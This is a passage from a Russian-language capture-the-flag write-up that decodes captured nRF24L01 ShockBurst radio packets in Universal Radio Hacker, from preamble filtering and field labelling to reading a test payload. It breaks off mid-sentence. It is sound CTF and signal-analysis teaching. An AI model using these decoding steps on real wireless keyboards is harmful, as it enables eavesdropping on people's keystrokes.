3c055665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1183 samples]
f82ab32ab32ab333ca8d0d2e640d2e640e8cae6e840dacae6e6c2ceca5c5c4e0000000000000000a8efc28 [Pause: 1166 samples]
3c655665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1564 samples]
3c555995599559998546869732069732074657374206d6573736167652e2e000000000000000000544ebd4 [Pause: 1167 samples]
3e0aaccaaccaacccc2a3434b99034b9903a32b9ba1036b2b9b9b0b3b297170000000000000000002a275ea [Pause: 1167 samples]
3c655665566556666151a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b8000000000000000001513af5 [Pause: 203907 samples]
3c355665566556666949a59da1d081dd85e4848151c9e481a0d1c990cdc88484840000000000000150453d [Pause: 1167 samples]
3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1166 samples]
3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1565 samples]
3c35566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492655 [Pause: 1167 samples]
3c45566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492654 [Pause: 1166 samples]
3c0aaccaaccaaccce21b432b1b59030b737ba3432b91031b430b73732b6399080000000000000002924caa [Pause: 1585 samples]
3c35566556655666790d85b881dd9481d185b1ac818589bdd5d081cd958dd5c9a5d1e4fc000000010fa411 [Pause: 1166 samples]
3e0aaccaaccaacccf21b0b7103bb2903a30b6359030b137baba1039b2b1bab934ba3c9f8000000021f4822 [Pause: 1183 samples]
В текущем виде явно прослеживается повторяющаяся начальная последовательность, также можно заметить, что длина пакетов и их состовляющие выглядят одинаковыми.
Для того, чтобы дальше разобрать полученный набор сообщений, необходимо знать их структуру. Одной из подсказок была следующая строка:
these devices are used iN wiReless keyboards and sometimes in Flying drones
Большие буквы тривиально складываются в NRF
. Этот факт, а так же набор каналов о которых говорится в самом начале задания, соответствуют одному конкретному радиомодулю — nrf24l01
. Следовательно, каждое из сообщений есть пакет, переданный этим радиомодулем.
Далее находим спецификацию протокола этого радиомодуля и видим, что внутри используется протокол ShockBurst
. Пакет данных этого протокола выглядит так:
В спецификации описаны возможные варианты преамбулы сообщения: она может быть равна либо aa
(10101010
) либо 55
(01010101
). Следовательно, необходимо отбросить все данные в сообщении до преамбулы. Это можно сделать, используя скрипт, а можно функционалом все того же URH, создав некоторый «фильтр».
Для создания фильтра открываем Edit -> Decoding
. Перетаскиваем из списка Additional Functions
строку Cut before/after
, а в качестве Sequence
пишем прембулу 10101010
. Сохраняем его как cut_aa
.
Для преамбулы 01010101
создаем такой же фильтр, где подставляем соответствующую Sequence
.
Перключаемся на вкладку Analysis
. Выбираем фильтр cut_aa
и применяем.
URH позволяет на лету создавать структуру протокола из потока сообщений. Для этого надо выделить нужное количество столбцов (полу-байт) и нажать Add label
. Используя известную структуру, выделяем преамбулу и адрес (длину адреса можно перебрать, а так же она известна из подсказки).
Далее необходимо выделить поле Packet Control Field
. Интересной особенностью ShockBurst
является тот факт, что поле это занимает 9 бит. Переключаем вид на биты и выделяем 9 столбцов.
Крутой особенностью URH является то, что при обратном переключении вида в байты, они будут отсчитываться с нужным смещением. То есть следующий байт за Packet Control Field
будет считаться из 10 го и 11 го битов (в нашем случае это столбцы 58 и 59), а не из 9 го и 10 го!
Далее выделяем payload
и CRC
.
Поменяем режим просмотра с байт на ascii, чтобы поискать какие-то осмысленные строки в payload
.
На картинке выше явно читается строка This is test message
. Это говорит о том, что теперь у&nbs